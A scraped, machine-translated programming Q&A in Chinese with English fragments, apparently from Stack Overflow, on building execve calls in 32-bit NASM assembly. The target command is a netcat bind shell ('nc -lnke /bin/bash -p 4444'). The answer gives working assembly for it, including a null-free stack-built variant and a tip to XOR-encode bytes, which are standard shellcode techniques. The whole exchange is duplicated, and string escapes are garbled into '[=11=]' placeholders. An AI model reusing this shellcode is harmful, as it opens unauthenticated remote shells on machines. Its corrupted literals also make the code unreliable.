在程序集中使用参数调用 execve 的正确方法是什么?
What is proper way to call execve with arguments in assembly?
我正在尝试使用 execve
执行以下操作:/bin//nc -lnke /bin/bash -p 4444
阅读 execve
的手册页时,我看到以下要求:
int execve(const char *filename, char *const argv[],
char *const envp[]);
我 运行 遇到的问题是将论点推向 argv
;我不明白你是如何推送一个数组(在汇编中)来让它正常工作的。
我目前使用的程序集如下:
global _start
_start:
xor eax, eax
; command
push eax
push 0x636e2f2f
push 0x6e69622f
mov ebx, esp
; args
push eax
push 0x34343434
push 0x20702d20
push 0x68736162
push 0x2f6e6962
push 0x2f20656b
push 0x6e6c2d20
mov ecx, esp
; null, arg 1
push eax
mov edx, esp
; push to stack
push edx
push ecx
push ebx
; command
mov al, 11
int 0x80
它导致以下内容被传递给 execve
:
$ strace -f -e execve -s 10000 ./bind
execve("/bin//nc", [0x6e6c2d20, 0x2f20656b, 0x2f6e6962, 0x68736162, 0x20702d20, 0x34343434], 0xffd4c0d4 /* 0 vars */) = -1 EFAULT (Bad address)
如何使用汇编正确传递这些参数?
我正在使用 Linux 和 nasm
在 C 中,数组被隐式转换为指向其第一个元素的指针。因此,在您的情况下,您需要将指针传递给指向字符串的指针数组。每个数组都以空指针结束。每个字符串都以 NUL 字节结尾。系统调用的参数在 ebx
、ecx
、edx
等中传递,系统调用号在 eax
中。像这样:
section .data
; strings
arg0 db "/bin//nc",0
arg1 db "-lnke",0
arg2 db "/bin/bash",0
arg3 db "-p",0
arg4 db "4444",0
; arrays
align 4
argv dd arg0, arg1, arg2, arg3, arg4, 0
envp dd 0
section .text
global _start
_start: mov eax, 11 ; SYS_execve
mov ebx, arg0 ; filanem
mov ecx, argv ; argv
mov edx, envp ; envp
int 0x80 ; syscall
我不确定您正在为哪个操作系统编程。此示例假设 Linux.
如果由于某种原因无法使用数据段,请按以下步骤操作:
; for easier addressing
mov ebp, esp
; push strings
xor eax, eax
push eax ; - 4
push "4444" ; - 8
push "[=11=]-p[=11=]" ; -12
push "bash" ; -16
push "bin/" ; -20
push "ke[=11=]/" ; -24
push "[=11=]-ln" ; -28
push "//nc" ; -32
push "/bin" ; -36
; push argv, right to left
xor eax, eax
push eax ; NULL
lea ebx, [ebp-8]
push ebx ; "4444[=11=]"
lea ebx, [ebp-11]
push ebx ; "-p[=11=]"
lea ebx, [ebp-21]
push ebx ; "/bin/bash[=11=]"
lea ebx, [ebp-27]
push ebx ; "-lnke[=11=]"
lea ebx, [ebp-36] ; filename
push ebx ; "/bin//nc[=11=]"
mov ecx, esp ; argv
lea edx, [ebp-4] ; envp (NULL)
mov al, 11 ; SYS_execve
int 0x80
如果出于任何原因您的数据中不能包含空字节,您需要事先进行一些伪装。例如,您可以将每个字节与 0x80 进行异或运算,然后再次将堆栈上的数据与 0x80 进行异或运算。
我正在尝试使用 execve
执行以下操作:/bin//nc -lnke /bin/bash -p 4444
阅读 execve
的手册页时,我看到以下要求:
int execve(const char *filename, char *const argv[],
char *const envp[]);
我 运行 遇到的问题是将论点推向 argv
;我不明白你是如何推送一个数组(在汇编中)来让它正常工作的。
我目前使用的程序集如下:
global _start
_start:
xor eax, eax
; command
push eax
push 0x636e2f2f
push 0x6e69622f
mov ebx, esp
; args
push eax
push 0x34343434
push 0x20702d20
push 0x68736162
push 0x2f6e6962
push 0x2f20656b
push 0x6e6c2d20
mov ecx, esp
; null, arg 1
push eax
mov edx, esp
; push to stack
push edx
push ecx
push ebx
; command
mov al, 11
int 0x80
它导致以下内容被传递给 execve
:
$ strace -f -e execve -s 10000 ./bind
execve("/bin//nc", [0x6e6c2d20, 0x2f20656b, 0x2f6e6962, 0x68736162, 0x20702d20, 0x34343434], 0xffd4c0d4 /* 0 vars */) = -1 EFAULT (Bad address)
如何使用汇编正确传递这些参数?
我正在使用 Linux 和 nasm
在 C 中,数组被隐式转换为指向其第一个元素的指针。因此,在您的情况下,您需要将指针传递给指向字符串的指针数组。每个数组都以空指针结束。每个字符串都以 NUL 字节结尾。系统调用的参数在 ebx
、ecx
、edx
等中传递,系统调用号在 eax
中。像这样:
section .data
; strings
arg0 db "/bin//nc",0
arg1 db "-lnke",0
arg2 db "/bin/bash",0
arg3 db "-p",0
arg4 db "4444",0
; arrays
align 4
argv dd arg0, arg1, arg2, arg3, arg4, 0
envp dd 0
section .text
global _start
_start: mov eax, 11 ; SYS_execve
mov ebx, arg0 ; filanem
mov ecx, argv ; argv
mov edx, envp ; envp
int 0x80 ; syscall
我不确定您正在为哪个操作系统编程。此示例假设 Linux.
如果由于某种原因无法使用数据段,请按以下步骤操作:
; for easier addressing
mov ebp, esp
; push strings
xor eax, eax
push eax ; - 4
push "4444" ; - 8
push "[=11=]-p[=11=]" ; -12
push "bash" ; -16
push "bin/" ; -20
push "ke[=11=]/" ; -24
push "[=11=]-ln" ; -28
push "//nc" ; -32
push "/bin" ; -36
; push argv, right to left
xor eax, eax
push eax ; NULL
lea ebx, [ebp-8]
push ebx ; "4444[=11=]"
lea ebx, [ebp-11]
push ebx ; "-p[=11=]"
lea ebx, [ebp-21]
push ebx ; "/bin/bash[=11=]"
lea ebx, [ebp-27]
push ebx ; "-lnke[=11=]"
lea ebx, [ebp-36] ; filename
push ebx ; "/bin//nc[=11=]"
mov ecx, esp ; argv
lea edx, [ebp-4] ; envp (NULL)
mov al, 11 ; SYS_execve
int 0x80
如果出于任何原因您的数据中不能包含空字节,您需要事先进行一些伪装。例如,您可以将每个字节与 0x80 进行异或运算,然后再次将堆栈上的数据与 0x80 进行异或运算。